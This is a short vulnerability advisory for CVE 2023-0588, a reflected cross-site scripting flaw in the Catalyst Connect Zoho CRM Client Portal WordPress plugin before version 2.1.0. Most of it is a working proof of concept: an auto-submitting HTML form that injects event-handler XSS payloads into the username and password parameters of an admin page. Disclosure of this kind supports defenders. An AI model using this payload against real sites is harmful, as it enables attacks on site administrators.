Catalyst Connect Zoho CRM Client Portal < 2.1.0 – Reflected XSS | CVE 2023-0588

Description

The plugin does not sanitize and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high-privilege users such as admin.

Proof of Concept

Make a logged-in admin a page with the code below:

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=usersmanagement" method="POST">
      <input type="hidden" name="username" value='"style=animation-name:rotation onanimationstart=alert(/XSS-username/)//' />
      <input type="hidden" name="password" value='"style=animation-name:rotation onanimationstart=alert(/XSS-password/)//' />
      <input type="hidden" name="searchContacts" value="Search" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Note: Make sure in Client Portal the company information is added; otherwise, the XSS won't trigger.